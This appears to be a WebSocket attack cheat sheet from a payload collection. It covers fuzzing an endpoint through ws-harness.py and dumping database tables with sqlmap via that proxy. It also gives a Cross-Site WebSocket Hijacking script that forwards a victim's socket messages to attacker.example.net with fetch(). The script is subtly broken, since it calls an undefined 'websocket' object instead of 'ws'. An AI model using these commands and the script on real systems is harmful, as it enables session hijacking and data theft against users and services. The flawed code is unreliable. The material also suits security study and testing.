2.5 KiB
Web Sockets Attacks
The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
Summary
Tools
Using ws-harness.py
Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
The content of the message should contains the [FUZZ] keyword.
{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
Cross-Site WebSocket Hijacking (CSWSH)
If the WebSocket handshake is not correctly protected using a CSRF token or a nonce, it's possible to use the authenticated WebSocket of a user on an attacker's controlled site because the cookies are automatically sent by the browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).
Example exploit, hosted on an attacker's server, that exfiltrates the received data from the WebSocket to the attacker:
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
websocket.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
}
ws.send("Some text sent to the server");
</script>
You have to adjust the code to your exact situation. E.g. if your web
application uses a Sec-WebSocket-Protocol header in the handshake request,
you have to add this value as a 2nd parameter to the WebSocket function call
in order to add this header.